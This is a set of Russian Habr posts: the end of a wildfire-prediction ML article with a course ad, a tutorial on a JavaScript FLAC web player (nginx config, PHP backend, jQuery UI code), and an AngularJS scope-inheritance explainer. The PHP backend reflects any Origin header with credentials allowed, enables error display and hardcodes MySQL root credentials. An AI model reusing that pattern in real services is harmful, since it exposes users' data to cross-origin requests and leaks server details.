год назад. Это можно объяснить тем, что на горимость влияет то, насколько много отмершей биомассы накопилось за прошлый год; также немаловажны осадки за прошлый год и осадки на начало года. Любопытное наблюдение: для модели **KNeighborsRegressor** для k=7, модель показала результат R-квадрат равный **0.519.** Как такая простая модель могла почти догнать градиентный бустинг? Всё объясняется тем, что метод k-ближайших соседей хорошо подходит для решения географических задач, ведь с большой вероятностью можно сказать, что природные условия некоего географического объекта сходны с его соседями. **Заключение**: наилучший результат показал **CatBoost** со значениями по умолчанию и использованием MinMaxScaler’а, с R2 равным 0.601. Отдельного внимания заслуживает метод k-ближайших соседей, как простая и менее ресурсозатратная альтернатива градиентному бустингу (в рамках данной задачи). *В конце статьи хочу порекомендовать всем заинтересованным двухдневный бесплатный интенсив от OTUS, на котором вас ждет глубокое погружение в область рекомендательных систем. Уже в первый день вы изучите наиболее популярные подходы, которые существуют для формирования рекомендаций и реализуете один из них своими руками. Зарегистрироваться на интенсив можно по ссылке ниже.* * [Регистрация на интенсив. День 1](https://otus.pw/jwgk/) * [Регистрация на интенсив. День 2](https://otus.pw/xDdQ/)
https://habr.com/ru/post/675954/
null
ru
null
# Пишем проигрыватель lossless аудио на JavaScript Добрый день, %username%. Сегодня я хотел бы поделится своим опытом разработки прототипа онлайн lossless аудио плеера. На сегодняшний день, вряд ли можно кого-то удивить аудио или видео плеером, встроенного непосредственно в веб-страницу. Существующие технологии, библиотеки и API позволяют легко наполнить сайт любым медиа-контентом. Но есть такие люди, которым этого недостаточно (в том числе я). Именно поэтому, как истинному любителю музыки в lossless, мне потребовалось сделать браузерный плеер поддерживающий такой формат аудио, как **flac**. К этой идее меня подтолкнула одна статья: [Web плеер FLAC.JS (HTML5)](http://habrahabr.ru/post/222729/). Узнав, что есть такой замечательный фреймворк как **Aurora.js** и декодер формата flac для него, я не смог просто пройти мимо всего этого. Все — подумал я — теперь, когда мой уровень энтузиазма зашкалил, я должен сделать этот плеер. Итак, начнем… Бекенд ------ В качестве бекенда у нас будет выступать небезызвестные Nginx и Apache c PHP (куда же без него). Первый будет отвечать за отдачу аудио данных, второй будет выдавать страницу с плеером и обрабатывать запросы Ajax. **Настройка Nginx c поддержкой CORS** ``` http { sendfile on; include /etc/nginx/mime.types; default_type audio/flac; server { listen *:80; server_name as.iostd.ru; root /var/mcs/storage; location / { rewrite "^\/(([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2})([a-z0-9]{2})[a-z0-9]{56}).flac$" /$2/$3/$4/$5/$1.flac last; if ($http_origin ~* (https?://([^/]*\.)?.?iostd\.ru(:[0-9]+)?)) { set $cors "true"; } if ($request_method = 'OPTIONS') { set $cors "${cors}options"; } if ($request_method = 'GET') { set $cors "${cors}get"; } if ($request_method = 'POST') { set $cors "${cors}post"; } if ($request_method = 'HEAD') { set $cors "${cors}head"; } if ($cors = "trueget") { add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header 'Access-Control-Allow-Credentials' 'true'; } if ($cors = "truepost") { add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header 'Access-Control-Allow-Credentials' 'true'; } if ($cors = "truehead") { add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Max-Age' 1728000; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,Range,X-Mx-ReqToken,Keep-Alive,X-Requested-With,If-Modified-Since'; add_header 'Access-Control-Expose-Headers' 'Accept-Ranges,Content-Encoding,Content-Length,Content-Range'; } if ($cors = "trueoptions") { add_header 'Access-Control-Allow-Origin' "$http_origin"; add_header 'Access-Control-Allow-Credentials' 'true'; add_header 'Access-Control-Max-Age' 1728000; add_header 'Access-Control-Allow-Methods' 'GET, POST, OPTIONS'; add_header 'Access-Control-Allow-Headers' 'Authorization,Content-Type,Accept,Origin,User-Agent,DNT,Cache-Control,Range,X-Mx-ReqToken,Keep-Alive,X-Requested-With,If-Modified-Since'; add_header 'Access-Control-Expose-Headers' 'Accept-Ranges,Content-Encoding,Content-Length,Content-Range'; add_header 'Content-Length' 0; add_header 'Content-Type' 'text/plain charset=UTF-8'; return 204; } try_files $uri $uri/; } } } ``` **PHP Скрипт «На скорую руку»** ``` php error_reporting(E_ALL); ini_set('display_errors', '1'); require_once('MysqliDb.php'); // https://github.com/joshcam/PHP-MySQLi-Database-Class function cors() { if (isset($_SERVER['HTTP_ORIGIN'])) { header("Access-Control-Allow-Origin: {$_SERVER['HTTP_ORIGIN']}"); header('Access-Control-Allow-Credentials: true'); header('Access-Control-Max-Age: 86400'); } if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') { if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_METHOD'])) header("Access-Control-Allow-Methods: GET, POST, OPTIONS"); if (isset($_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'])) header("Access-Control-Allow-Headers: {$_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS']}"); exit(0); } } function answer($data = array(), $status = "OK", $message = "") { if(!is_array($data)) return; $rcode = array(); $rcode["status"] = $status; if($status == "ERROR" && $message != "" ) $rcode["message"] = $message; header('Content-Type: application/json'); echo json_encode(array_merge($rcode, array("result" = $data))); exit(); } function error($message) { answer(array(), "ERROR", $message); } cors(); $db = new MysqliDb ('localhost', 'root', 'hackme', 'audio'); // https://github.com/joshcam/PHP-MySQLi-Database-Class if(!isset($_REQUEST["c"])) error("Bad request"); if($_REQUEST["c"] == "tracks") { $tracks = $db->rawQuery('SELECT title, a.artist, audio FROM tracks INNER JOIN artists a ON (tracks.artistid = a.id) LIMIT 20'); answer($tracks); } error("Bad request"); ``` Фронтенд -------- Первым делом нужно продумать весь функционал, который будет поддерживать наш плеер. Самое очевидное это Play/Pause, Next, Prev, полоса буферизации и поиска, громкость, строка названия трека и время. Также хотелось бы реализовать отображение обложки альбомов, плейлисты, поиск по базе аудиотеки и так далее, но я решил пока остановиться на самом основном. Так как с веб-разработкой я сталкивался не часто, то с версткой и дизайном у меня, мягко говоря, не очень. Вот что у меня получилось в итоге: ![](https://habrastorage.org/r/w1560/files/749/a2b/42d/749a2b42db2a46d8b5ba786f7c43bc66.png) Верстка: **HTML** ``` - 00:00 ``` **Стили** ``` .player { border: 1px solid #D0D0D0; background-color: #F0F0F0; height: 67px; border-radius: 2px; padding: 5px;} .player .tackinfo { float: left; margin-left: 0px; } .player .tackinfo #artist { color: #0474C0; font-weight: bold; } .player .tackinfo #title { color: #787878; } .player .timer { float: right; cursor: pointer; } .player .seekbar { clear: both; cursor: pointer; padding: 5px 0;} .player .seekbar .wrap { background-color: #D0D0D0; overflow:hidden; height:5px; border-radius: 2px;} .player #buffer, .player #progress { height:100%; width:0%; } .player #buffer { background-color:#909090; } .player #progress { background-color: #0474C0; margin-top:-5px; } .controls .playback { float: left; } .controls .playback .fb { float: left; } .playback #play, .playback #backward, .playback #forward { color: #0474C0; cursor: pointer; border-radius: 2px; text-align: center; vertical-align: middle; float:left; margin-right: 2px;} .playback #play:hover, .playback #backward:hover, .playback #forward:hover { background-color: #D8D8D8; } .playback #play { font-size: 24px; height: 32px; width: 32px; line-height: 32px;} .playback #backward { font-size: 16px; height: 32px; width: 32px; line-height: 32px;} .playback #forward { font-size: 16px; height: 32px; width: 32px; line-height: 32px;} .volumebar { float: right; cursor: pointer; padding: 15px 0; width:80px;} .volumebar .wrap { background-color:#D8D8D8; overflow:hidden; height:5px; border-radius: 2px; } .volumebar #volumevalue { height:100%; width:0%; background-color: #0474C0; } ``` Отлично. Необходимый минимум у нас есть. Теперь нужно все это оживить. Поэтому переходим к JavaScript. Создадим класс Playlist который, как вы уже поняли, будет отвечать за список воспроизведения: ``` Playlist = function() { this.list = []; this.current = 0; this.repeatmode = 0; }; ``` Где *list* — сам список, *current* — номер текущего трека, *repeatmode* — режим повтора (0 — без повтора, 1 — повтор всего списка, 2 — повтор одного трека). Далее реализовываем все необходимые методы. Добавление трека: ``` Playlist.prototype.add = function(track) { this.list.push(track); }; ``` Получение текущего трека: ``` Playlist.prototype.getCurrent = function() { return this.list[this.current]; }; ``` Методы вперед, назад: ``` Playlist.prototype.next = function() { if(this.repeatmode == 2) { return this.current; } if(this.current >= this.list.length - 1) { if(this.repeatmode == 0) { return -1; } else if(this.repeatmode == 1) { return (this.current = 0); } } return ++this.current; }; Playlist.prototype.prev = function() { if(this.current == 0) return this.current; return --this.current; }; ``` И напоследок метод перемешивания списка: ``` Playlist.prototype.shuffle = function(){ for(var j, x, i = this.list.length; i; j = Math.floor(Math.random() * i), x = this.list[--i], this.list[i] = this.list[j], this.list[j] = x); }; ``` Плейлист у нас есть, переходим к самому плееру. Создадим класс Musica: ``` Musica = function(params) { this.ui = { artist: params.artist, title: params.title, seekbar: params.seekbar, bufferbar: params.bufferbar, progressbar: params.progressbar, timer: params.timer, playbtn: params.playbtn, backwardbtn: params.backwardbtn, forwardbtn: params.forwardbtn, volumebar: params.volumebar, volume: params.volume }; this.pstate = 0; this.seekstate = 0; this.timetype = 0; this.aurora; this.volume = 100; this.playlist = new Playlist(); this.ui.timer.click((function (_this) { return function(e) { _this.timetype = _this.timetype == 0 ? 1 : 0; _this.setTimer(_this.aurora.currentTime); }; })(this)); this.ui.playbtn.click((function (_this) { return function(e) { if(_this.pstate == 0) _this.play(); else _this.pause(); }; })(this)); this.ui.backwardbtn.click((function (_this) { return function(e) { _this.prev(); }; })(this)); this.ui.forwardbtn.click((function (_this) { return function(e) { _this.next(); }; })(this)); }; ``` В *params* мы разместим все элементы интерфейса с помощью селекторов JQuery, по переменной *pstate* мы будем определять состояние плеера (воспроизводит/не воспроизводит), *seekstate* нам пригодится, когда мы будем реализовывать полосу поиска, а *timetype* определяет тип таймера (сколько прошло или сколько осталось). Также в этом конструкторе мы сразу повесили обработчики событий на все имеющиеся кнопки. Фреймворк Aurora.js содержит класс Player, который реализует весь необходимый нам минимум. В нем есть такие методы как play(), pause(), stop(), seek(), а также реализован обработчик событий. Это сильно упрощает нам задачу. Попробуем реализовать метод инициализации плеера: ``` Musica.prototype.open = function() { if(this.aurora) this.aurora.stop(); this.aurora = AV.Player.fromURL('http://as.iostd.ru/' + this.playlist.getCurrent().audio + '.flac'); this.aurora.volume = this.volume; this.ui.volume.css('width', ((this.volume * 100 ) / this.ui.volumebar.width())+'%'); this.pstate = 0; this.ui.playbtn.removeClass("fa-play fa-pause").addClass("fa-play"); this.ui.artist.html(this.playlist.getCurrent().artist); this.ui.title.html(this.playlist.getCurrent().title); this.ui.bufferbar.css('width', '0%'); this.ui.progressbar.css('width', '0%'); this.aurora.on('buffer', (function (_this) { return function(percent) { _this.ui.bufferbar.css('width', percent+'%'); }; })(this)); this.aurora.on('progress', (function (_this) { return function(time) { if(_this.seekstate == 0) _this.ui.progressbar.css('width', ((time * 100 ) / _this.aurora.duration)+'%'); _this._setTimer(time); }; })(this)); this.aurora.on('end', (function (_this) { return function() { _this.next(); }; })(this)); this.aurora.preload(); }; ``` Здесь мы загружаем в фреймворк текущий трек из списка воспроизведения, сбрасываем графический интерфейс на значения по умолчанию и подключаем обработчики событий. Этот метод мы будем вызывать каждый раз, когда нам нужно воспроизвести новый трек. Теперь нам нужно сделать, на мой взгляд, самое сложное: полосу поиска и регулятор громкости. Эти два элемента интерфейса очень похожи между собой (по крайней мере в нашем случае). ``` this.ui.seekbar.off(); this.ui.seekbar.mousedown((function (_this) { return function(e) { var offsetx = e.offsetX; var origin = $(this); _this.seekstate = 1; _this.ui.progressbar.css('width', ((offsetx * 100 ) / $(this).width())+'%'); $(document).mousemove(function(e) { offsetx = e.pageX - origin.offset().left; offsetx = offsetx < 0 ? 0 : (offsetx > origin.width() ? origin.width() : offsetx); _this.ui.progressbar.css('width', ((offsetx * 100 ) / origin.width())+'%'); }); $(document).mouseup(function(e) { $(document).off("mousemove"); $(document).off("mouseup"); _this.aurora.seek(Math.floor((offsetx * _this.aurora.duration) / origin.width())); _this.seekstate = 0; }); }; })(this)); ``` Сначала мы подключаем обработчик события *mousedown*. После этого мы меняем значение *progressbar* и подключаем еще два обработчика. В первом (*mousemove*) мы также меняем значение *progressbar*. Во втором (*mouseup*) мы отключаем эти два обработчика и вызываем метод фреймворка seek(). Для того, чтобы во время поиска мышкой, *progressbar* не дергался от события *progress*, которое мы обрабатываем выше, нам нужен *seekstate*. Почти таким же способом делаем регулятор громкости: ``` this.ui.volumebar.off(); this.ui.volumebar.mousedown((function (_this) { return function(e) { var offsetx = e.offsetX; var origin = $(this); _this.ui.volume.css('width', ((offsetx * 100 ) / origin.width())+'%'); _this.volume = Math.floor((offsetx * 100) / origin.width()); _this.aurora.volume = _this.volume; $(document).mousemove(function(e) { offsetx = e.pageX - origin.offset().left; offsetx = offsetx < 0 ? 0 : (offsetx > origin.width() ? origin.width() : offsetx); _this.ui.volume.css('width', ((offsetx * 100 ) / origin.width())+'%'); _this.volume = Math.floor((offsetx * 100) / origin.width()); _this.aurora.volume = _this.volume }); $(document).mouseup(function(e) { $(document).off("mousemove"); $(document).off("mouseup"); _this.volume = Math.floor((offsetx * 100) / origin.width()); _this.aurora.volume = _this.volume; }); }; })(this)); ``` Плеер почти готов. Нам только осталось добавить методы play(), netxt(), prev(). В их реализации нет ничего сложного: ``` Musica.prototype.play = function() { this.aurora.play(); this.pstate = 1; this.ui.playbtn.removeClass("fa-play fa-pause").addClass("fa-pause"); }; Musica.prototype.pause = function() { this.aurora.pause(); this.pstate = 0; this.ui.playbtn.removeClass("fa-play fa-pause").addClass("fa-play"); }; Musica.prototype.next = function() { if(this.playlist.next() !== -1) { var pss = this.pstate; this.pause(); this.open(); if(pss == 1) { this.play(); } } }; Musica.prototype.prev = function() { if(this.playlist.prev() !== -1) { var pss = this.pstate; this.pause(); this.open(); if(pss == 1) { this.play(); } } }; ``` Готово. Можно подключать плеер. **Подключаем** ``` $(function() { var params = { artist: $('#artist'), title: $('#title'), seekbar: $('#seek'), bufferbar: $("#buffer"), progressbar: $("#progress"), timer: $("#time"), playbtn: $("#play"), backwardbtn: $("#backward"), forwardbtn: $("#forward"), volumebar: $("#volume"), volume: $("#volumevalue") }; var mplayer = new Musica(params); $.get( "http://iostd.ru/audioapi.php?c=tracks", function( data ) { for (var i = 0; i < data.result.length; i++) { mplayer.playlist.add(data.result[i]); } mplayer.open(); mplayer.play(); }); }); ``` P.S. Как видите, сделать плеер на подобии VK не так уж и сложно. Демо: <http://audio.iostd.ru/> Исходники: <https://github.com/Show-vars/HTML5LosslessPlayer>
https://habr.com/ru/post/235741/
null
ru
null
# Понимание областей видимости или Scope в AngularJS В Ангуляре, дочерняя область видимости обычно прототипически наследуется от родительской. Единственным исключением является директива, в которой используется `scope: { ... }`, создающая «изолированную» область видимости, не наследуемую прототипически. Такая конструкция часто используется при создании директив для компонентов «многоразового использования» Наследование областей, как правило, прямое, и часто даже не нужно знать, как оно делается… пока не столкнешься с **двухсторонней привязкой данных** (т. е. элементами формы, ng-model) **к примитивам** (напр., числу, строке, логическому типу), определенными в родительской области видимости из дочерней. Она работает не так, как этого ожидают большинство людей. Происходит так, что потомок создает собственную область видимости, которая перекрывает родительское свойство с одноименным названием. Это не особенность Ангуляра, так работает прототипное наследование в Яваскрипте. Новые разработчики, работающие с Ангуляром, часто не понимают, что ng-repeat, ng-switch, ng-view и ng-include создают новые дочерние области, так что проблема появляется при использовании этих директив. Этой проблемы легко избежать, следуя «[лучшим практикам](http://habrahabr.ru/post/181882/)», где говорится, что выражение в ng-model должно всегда содержать точку. Точка «.» в модели гарантирует, что прототипное наследование работает как надо. Поэтому ```лучше чем . Если действительно хотите/нужно использовать примитивы, есть два пути решения проблемы: 1. Используйте $parent.parentScopeProperty` в дочерней области видимости. Это запретит дочерней области создавать собственное свойство. 2. Определите функцию в родительской области видимости, и обратитесь к ней из потомка, передавая элементарное значение в родителя (не всегда возможно) #### Прототипное наследование в Яваскрипте В первую очередь, важно иметь четкое представление о прототипном наследовании в Яваскрипте, особенно если пришли из серверного программирования и больше знакомы с классическим наследованием. Предположим parentScope имеет свойства aString, aNumber, anArray, anObject, и aFunction. Если childScope прототипически наследуется от parentScope, имеем: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/06f/d20/a7c/06fd20a7c9c664cf8508fe1404cb3dfa.png) (Обратите внимание, что для экономии места, объект `anArray` показан как одиночный объект с тремя значениями, а не объект с тремя строками.) Если попытаться получить доступ к свойствам по умолчанию, определенным в parentScope, из дочерней области видимости, Яваскрипт сначала ищет в дочерней области и, не найдя там, затем смотрит в родительской области, где уже находит свойство. (Если бы не нашел в parentScope, то продолжил бы поиск по цепочке прототипов... вплоть до корневой области видимости). Итак, все утверждения ниже верны: ``` childScope.aString === 'parent string' childScope.anArray[1] === 20 childScope.anObject.property1 === 'parent prop1' childScope.aFunction() === 'parent output' ``` Предположим, что после этого сделали так: ``` childScope.aString = 'child string' ``` Цепочка прототипов не расматривается, а новое свойство aString добавляется в childScope. **Новое свойство перекрывает свойство из parentScope с таким же названием.** Это будет очень важным, при обсуждении ng-repeat и ng-include ниже. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/0cb/087/6a5/0cb0876a5b052eacff6150a0f92e2acf.png) Предположим, что после этого сделали так: ``` childScope.anArray[1] = '22' childScope.anObject.property1 = 'child prop1' ``` Цепочка прототипов рассматривается, так как объекты (anArray и anObject) не найдены в childScope. Объекты находятся в parentScope, а значения свойств обновляются в исходных объектах. Новые свойства не добавляются в childScope; новые объекты не создаются. (Отметим, что в Яваскрипте массивы и функции также являются объектами.) ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/b68/2f2/d52/b682f2d52672df7d69850dcd6d9db220.png) Предположим, что после этого сделали так: ``` childScope.anArray = [100, 555] childScope.anObject = { name: 'Mark', country: 'USA' } ``` Цепочка прототипов опять не рассматривается, и дочерняя область видимости получает два новых свойства объекта, которые перекрывают свойства объекта из parentScope с теми же именами. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/206/506/b53/206506b5318f3649c69c6c84dd9977d2.png) Подытожим: * Если читаем childScope.propertyX и childScope содержит propertyX, то цепочка прототипов не рассматривается. * Если устанавливаем childScope.propertyX, цепочка прототипов рассматривается. И последний сценарий: ``` delete childScope.anArray childScope.anArray[1] === 22 // true ``` Сперва удалим свойство из childScope, а затем, когда попытаемся получить доступ к свойству снова, состоится переход по цепочке прототипов. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/928/69a/cf4/92869acf4ce529e9be0db781dff3d356.png) #### Наследование областей видимости в Ангуляре Соучастники: * Создают новые области видимости, которые прототипически наследуются: ng-repeat, ng-include, ng-switch, ng-view, ng-controller, директивы с `scope: true`, директивы с `transclude: true`. * Создает новую область, которая не наследуется прототипически: директивы с `scope: { ... }`. Вместо этого они создают «изолированную» область видимости. Обратите внимание, что по умолчанию, директивы не создают новые области, т.е. по умолчанию `scope: false`. ##### ng-include Предположим, что имеем в контроллере: ``` $scope.myPrimitive = 50; $scope.myObject = {aNumber: 11}; ``` И в HTML: ``` <input ng-model="myPrimitive"> <input ng-model="myObject.aNumber"> ``` Каждая ng-include создает новую дочернюю область видимости, прототипически унаследованную от родительской области. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/3ec/3f8/78a/3ec3f878ab3bcdf97fbe34b90288b1e5.png) Ввод (скажем, «77») в первом текстовом поле приведет к тому, что дочерняя область видимости получит новое свойство myPrimitive из области видимости, которое перекроет свойство родительской области с одноименным названием. Вероятно, это не то, чего вы хотите или ожидаете. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/38c/710/11f/38c71011fd8f6a1f72362d9f9c437399.png) Ввод (скажем, «99») во втором текстовом поле не приводит к созданию новой дочерней области видимости. Потому что tpl2.html связывает модель со свойством объекта, прототипное наследование заканчивается, когда ngModel ищет объект MyObject — находит его в родительской области. ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/fbe/a80/ef7/fbea80ef71d59f1f3000a701d4e66fb2.png) **Примечание:** на изображении выше ошибка, число «99» должно заменить 11, а не 50. Можно переписать первый шаблон с использованием $parent, если не хотим менять модель из примитива на объект: ``` ``` Ввод (скажем, «22») в этом текстовом поле не имеет последствий для нового дочернего свойства. Модель теперь связана со свойством родительской области (потому что $parent является свойством дочерней области видимости, ссылающимся на родительскую область). ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/659/4f0/d35/6594f0d353a07c312223980f77f12b6b.png) Для всех областей видимости (прототипных или нет), Angular всегда отслеживает отношения родитель-ребенок (т. е. иерархию), через свойства $parent, $$childHead и $$childTail в области видимости. Эти свойства обычно не показываются на диаграммах. В случаях, когда элементы формы не задействуются, другим решением будет определение функции в родительской области видимости для изменения примитива. Только убедитесь, что потомок всегда вызывает эту функцию, которая будет доступна в дочерней области видимости в соответствии с прототипными наследованием. Например, ``` // в родительской области видимости $scope.setMyPrimitive = function(value) { $scope.myPrimitive = value; } ``` Здесь [простой пример](http://jsfiddle.net/mrajcok/jNxyE/), который использует подход с «родительской функцией». (Являлся частью [поста на Stack Overflow](http://stackoverflow.com/a/14104318/215945).) См. так же [stackoverflow.com/a/13782671/215945](http://stackoverflow.com/a/13782671/215945) и [github.com/angular/angular.js/issues/1267](https://github.com/angular/angular.js/issues/1267). ##### ng-switch Наследование область видимости в ng-switch работает так жде как в ng-include. Так что если нуждаетесь в двухсторонней привязке данных к примитиву в родительской области видимости, используйте $parent или измените модель на объект, а затем привяжите к свойству этого объекта. Это позволит избежать перекрытия свойст родительской области свойствами дочерней. См. так же [AngularJS, bind scope of a switch-case?](http://stackoverflow.com/questions/12405005/angularjs-bind-scope-of-a-switch-case/12414410) ##### ng-repeat ng-repeat работает немного по-другому. Предположим, что в контроллере содержится следующее: ``` $scope.myArrayOfPrimitives = [ 11, 22 ]; $scope.myArrayOfObjects = [{num: 101}, {num: 202}] ``` И в HTML: ``` * - ``` Для каждого элемента/итерации, ng-repeat создает новую область видимости, которая прототипически наследуется от родительской, **но он также присваивает значение элемента новым свойствам в новой дочерней области**. (Названием нового свойства является имя переменной из цикла.) Ниже показан фактический исходный код для ng-repeat: ``` childScope = scope.$new(); // дочерняя область прототипически наследуется от родительской ... childScope[valueIdent] = value; // создает новое свойство в childScope ``` Если элемент является примитивом (как в myArrayOfPrimitives), по сути, копии значения присваивается новое свойство дочерней области видимости. Изменение значения свойства в дочерней области (т. е., свойства `num`, унаследованного из ng-model) **не** изменяет массив ссылок в родительской области. Таким образом, в первом ng-repeat выше, каждая дочерняя область видимости получает свойство `num`, которое не зависит от массива myArrayOfPrimitives: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/81a/f6b/16d/81af6b16df851cb088e1633cdc5fb6eb.png) ng-repeat не будет работать (как хотите или ожидаем). В Angular 1.0.2 или более раннем, ввод в поля ввода, изменяет значения в серых блоках, которые видны только в дочерних областях. В Angular 1.0.3 +, ввод в текстовые поля никак на них не влияет. (См. [пояснения Артема](http://stackoverflow.com/a/13723990/215945), почему это так.) Мы же хотим, чтобы ввод влияюл на массив myArrayOfPrimitives, а не на свойство дочерней области видимости. Чтобы достичь этого, необходимо заменить модель на массив объектов. Если элемент является объектом, то по ссылке на исходный объект (не копии) присваивается новое свойство дочерней области видимости. Изменение значения свойства из дочерней области (т. е., свойства `num`, унаследованного из ng-model) **изменяет** объект по ссылке из родительской области. Так во втором ng-repeat выше, мы имеем: ![image](https://habrastorage.org/r/w1560/getpro/habr/post_images/951/85e/08d/95185e08d01ea8d5691aa0c21c8ae0ee.png) (серая линия показывает куда он переходит.) Это работает, как ожидалось. Ввод в поля ввода, изменяет значения в серой области, которые видны и в дочерней и в родительской областях видимости. См. так же [Сложности с ng-model, ng-repeat, и inputs](http://stackoverflow.com/questions/13714884/difficulty-with-ng-model-ng-repeat-and-inputs) и [ng-repeat and databinding](http://stackoverflow.com/a/13782671/215945) ##### ng-view Уточняется, но думаю, что действует так же, как ng-include. ##### ng-controller Вложенные контроллеры (с использованием ng-controller) подчиняются нормальному прототипному наследованию, как ng-include и ng-switch, так что к ним применимы те же методы. Тем не менее «считается дурным тоном обмениваться информацией между двумя контроллерами через наследование $scope» — [onehungrymind.com/angularjs-sticky-notes-pt-1-architecture](http://onehungrymind.com/angularjs-sticky-notes-pt-1-architecture/). Вместо этого необходимо использовать сервис. (Если действительно необходимо поделиться данными через наследование области видимости контроллеров, то делать ничего не надо. Дочерняя область видимости будет иметь доступ ко всем свойствам в родительской области. См. также [Controller load order differs when loading or navigating](http://stackoverflow.com/questions/13825419/controller-load-order-differs-when-loading-or-navigating/13843771#13843771)) ##### Диретивы 1. по умолчанию (`scope: false`) — директива не создать новую область видимости, так что никакого наследования не происходит. Это легко, но опасно, потому что, например, директива может подумать, что создает новое свойство в области видимости, когда фактически она затрет существующее свойство. Не лучший выбор при написании директив, предназначенных для компонентов многоразового использования. 2. `scope: true` — директива создает новую дочернюю область видимости, прототипически унаследованную от родительской области. Если более чем одна директива (на одном и том же DOM элементе) запрашивают новую область, все равно будет создана только одна дочерняя область. Т. к. у нас «нормальное» прототипное наследование, как в ng-include и ng-switch, то будьте осторожны с двухсторонней привязкой данных к примитивам родительской области видимости и перекрытием свойств родительской области свойствами дочерней. 3. `scope: { ... }` — директива создает новые изолированные области видимости. Они не наследуются прототипически. Как правило, это лучший вариант для создания компонентов многоразового использования, т. к. директива не сможет случайно прочитать или изменить данные из родительской области. тем не менее, таким директивам часто необходим доступ к некоторым свойствам из родительской области. Хэш-объект используется для создания двухсторонней привязки (с помощью «=») или односторонней (с помощью «@») между родительской областью и изолированной. Есть так же «&» для привязки к выражениям в родительской области. Таким образом, все они создают локальные свойства области видимости, получаемые из родительской области. Обратите внимание, что атрибуты используются чтобы помочь установить привязки — невозможно сослаться на имена свойств из родительской области в хэш-объекте, без использования этих атрибутов. Например, привязка к родительскому свойству `parentProp` в изолированной области: ``и {scope: localProp: '@parentProp' }` не будет работать. Атрибут должен использоваться для указания на каждое родительское свойство к которому нужно привязаться в директиве: ``и scope: { localProp: '@theParentProp' }`. `__proto__` изолированной области ссылается на объект [Scope](http://angular.ru/api/ng.$rootScope.Scope) (рисунок ниже необходимо обновить, чтобы показать оранжевый объект «Scope» вместо «Object»). $parent изолированной области ссылается на родительскую область видимости, так что, хотя он изолированный и не наследуется прототипически от родительской области, он всё же является потомком. Для рисунка ниже имеем и `scope: { interpolatedProp: '@interpolated', twowayBindingProp: '=twowayBinding' }` Предположим так же, что директива делает это в связующей функции: `scope.someIsolateProp = "I'm isolated"` ![image](http://i.stack.imgur.com/MUxS4.png) Последнее замечание: используйте `attrs.$observe('attr_name', function(value) { ... }` в связующей функции для получения интерполированного значения свойства из изолированной области видимости, записанного с помощью «@». Например, если такое содержится в связующей функции — `attrs.$observe('interpolated', function(value) { ... }` — `value` будет установлено в 11. (`scope.interpolatedProp` не определено в связующей функции. В противоположность этому, `scope.twowayBindingProp` определено в связующей функции, т. к. задано с помощью «=».) Подробнее об изолированных областях видимости читайте в [onehungrymind.com/angularjs-sticky-notes-pt-2-isolated-scope](http://onehungrymind.com/angularjs-sticky-notes-pt-2-isolated-scope/)` `transclude: true` — директива создает новую «включенную» дочернюю область видимости, которая прототипически наследуется от родительской области. Поэтому, если включенный контент (т. е., материал, который будет заменен ng-transclude) требует двухстороннюю привязку данных к примитиву из родительской области видимости, используйте $parent или превратите модель в объект и затем привяжитесь к его свойству, что позволит избежать перекрытия свойства родительской области свойством дочерней Включенная и изолированная области видимости (если таковые имеются) являются потомками одно уровня — свойство $parent каждой из этих областей ссылается на одного и того же родителя. Если существуют и включенная и изолированная области, свойство $$nextSibling изолированной области будет ссылаться на включенную область. По включенным областям видимости см. так же [AngularJS two way binding not working in directive with transcluded scope](http://stackoverflow.com/a/14484903/215945) Для рисунка ниже имеем, такую же директиву как указано выше с этим дополнением: `transclude: true` ![image](http://i.stack.imgur.com/fkWHA.png)` Этот [пример](http://jsfiddle.net/mrajcok/7g3QM/) содержит функцию `showScope()` которую можно использовать для изучения изолированной области видимости и ассоциированной с ней включенной области. Смотрите инструкции в комментариях к примеру. ###### Заключение Существует четыре типа областей видимости: 1. прототипически наследуемая область — ng-include, ng-switch, ng-controller, директивы с `scope: true` 2. прототипически наследуемая область с несколькими копиями — ng-repeat. Каждая итерация ng-repeat создает новую дочернюю область видимости, и эта новая облать всегда получает новые свойства. 3. изолированная область — директивы с `scope: {...}`. Не наследуется прототипически, но «=», «@», и «&» обеспечивают механизм для доступа к свойствам родительской области через атрибуты. 4. включаемая область — директивы с `transclude: true`. Так же прототипически наследуется, но так же соседствует с какой-то изолированной областью. Для всех областей (наследуемых или нет), Ангуляр всегда отслеживает отношения родитель-ребенок (т. е. иерархию), через свойства $parent, $$childHead и $$childTail.``
https://habr.com/ru/post/182670/
null
ru
null
